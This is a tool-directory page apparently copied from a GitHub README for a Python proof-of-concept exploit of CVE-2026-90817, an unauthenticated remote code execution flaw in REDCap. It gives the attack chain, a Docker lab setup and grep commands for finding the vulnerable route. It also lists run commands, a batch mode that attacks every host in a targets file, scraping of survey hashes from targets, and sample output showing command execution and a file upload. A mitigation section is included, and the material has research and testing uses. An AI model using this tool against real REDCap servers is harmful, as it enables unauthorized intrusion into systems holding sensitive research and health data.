Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/exdev994/cve-2026-90817
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubexdev994/cve-2026-90817

CVE-2026-90817

Python PoC for CVE-2026-90817, an unauthenticated REDCap RCE via survey passthrough routing and file-path injection, with a Docker lab and allowlist-guarded targets.

View Repository
7h 50m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-90817 — REDCap Unauthenticated RCE PoC (Authorized Use Only)

AUTHORIZED USE ONLY. You are responsible for legal authorization of every target. Unauthorized use against third-party REDCap instances is illegal.

Vulnerability Summary

FieldValue
CVECVE-2026-90817
ProductVanderbilt University REDCap
CVSS9.8 Critical
AuthUnauthenticated (requires valid public survey hash)
AffectedREDCap 13.3.0 and higher
Fixed16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (External Control of File Name or Path), CWE-94 (Code Injection)

Attack chain:

  1. Obtain a valid public survey hash from a REDCap instance.
  2. Manipulate HTTP requests to reach an unintended controller route via survey passthrough routing.
  3. Supply a crafted file-path/stream parameter during Data Import processing.
  4. Achieve remote code execution on the REDCap server.

Project Structure

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (single-target, allowlist-guarded)
├── docker-compose.yml       # MySQL + PHP-Apache lab stack
├── redcap-init/
│   ├── database.php         # REDCap DB config for lab
│   └── php.ini              # PHP settings for lab
├── redcap-src/              # <-- extract REDCap source here (you provide)
├── targets.txt              # Authorized targets: one host per line
├── payload.txt              # Sample file for upload mode
├── requirements.txt         # Python dependencies
└── poc_results.txt          # Generated after PoC run

Prerequisites

  • Docker and Docker Compose
  • Python 3.9+
  • REDCap source zip (vulnerable version, e.g. 14.x or 15.x) from the Vanderbilt REDCap consortium

REDCap is licensed software. You must obtain it through official channels for your own lab.

Lab Setup

1. Extract REDCap source

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. Start the lab environment

root@kitploit:~
docker compose up -d

Wait for MySQL healthcheck to pass, then open:

root@kitploit:~
http://localhost:8080

Complete the REDCap installation wizard using these database settings (pre-configured in redcap-init/database.php):

SettingValue
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. Create a public survey

  1. Log in to REDCap as admin.
  2. Create a new project.
  3. Enable "Use surveys in this project".
  4. Open the public survey link and copy the hash from the URL (parameter s=).

Example survey URL:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

Survey hash: ABC123XYZ

Reverse Engineering (fill placeholders)

The public advisory does not disclose the exact controller route or parameter name. After setting up your lab, perform RE on redcap-src/ and fill the TODO constants in poc_cve_2026_90817.py:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

RE guidance

Search for survey passthrough routing:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

Search for Data Import file-path/stream handling:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

Set STAGE1_SUCCESS_MARKER to a string present in a successful stage-1 response (optional but recommended).

Install Python dependencies

root@kitploit:~
pip install -r requirements.txt

Run the PoC

The script refuses targets that are neither lab hosts (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) nor listed in targets.txt.

Survey hash

CVE-2026-90817 is unauthenticated — no login is needed. The only pre-condition is a valid public survey hash (from the survey URL ?s=HASH).

The tool can auto-discover the survey hash by scraping public pages of the target (best-effort). It checks common REDCap endpoints (/, /redcap/, /index.php, /surveys/) for /surveys/?s=HASH links. This only works if the target publicly exposes survey links (misconfigured). For properly configured REDCap instances, supply the hash manually via --hash.

  • Single-target mode: --hash is optional (auto-discover if omitted)
  • Batch mode: auto-discover per target; targets that don't expose survey links are skipped

Authorized targets (non-lab)

For non-lab targets, create targets.txt with one host per line (FQDN or IP). You are responsible for legal authorization of every host listed.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

Examples

Lab target with explicit hash:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

Lab target with auto-discovered hash:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

Batch mode (iterate over all hosts in targets.txt)

Add --batch to exploit every host listed in targets.txt automatically. The tool auto-discovers the survey hash per target by scraping public pages. The tool prints all targets and asks for confirmation before starting (use --yes to skip the prompt for scripting).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

The port is inherited from --target (default 8080). To use a different port, set --target http://placeholder:443/ before --batch.

Each target's result is appended to the output file. A summary is printed at the end: N success, M failed, T total.

Arguments

ArgumentDefaultDescription
--targethttp://localhost:8080Target base URL
--hash(optional)Public survey hash. If omitted, auto-discovered by scraping public pages (best-effort).
--allowlisttargets.txtTargets file, one host per line
--batchoffIterate over all hosts in targets file and exploit each
--yesoffSkip the batch confirmation prompt
--modebothid, upload, or both
--outpoc_results.txtResult log file
--timeout30HTTP timeout (seconds)
--upload-localpayload.txtLocal file to upload
--upload-remoteuploaded_payload.txtRemote filename under webroot
--skip-placeholder-checkoffDry-run HTTP flow without filled TODO constants

Note: auto-discovery only works on targets that publicly expose survey links. For most REDCap instances, supply --hash manually.

Expected output

On success, stdout shows:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

Results are appended to poc_results.txt:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

Mitigation

Upgrade to REDCap 16.0.49 LTS, 17.3.10 LTS, or 17.4.4 Standard Release (as applicable).

Additional hardening:

  • Restrict public survey exposure where not required.
  • Monitor HTTP requests targeting survey routes and data import endpoints.
  • Review server-side validation of file-path/stream parameters in import handlers.

References

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • Finder: Ryan Wincey (@rwincey, Securifera)
Download Tool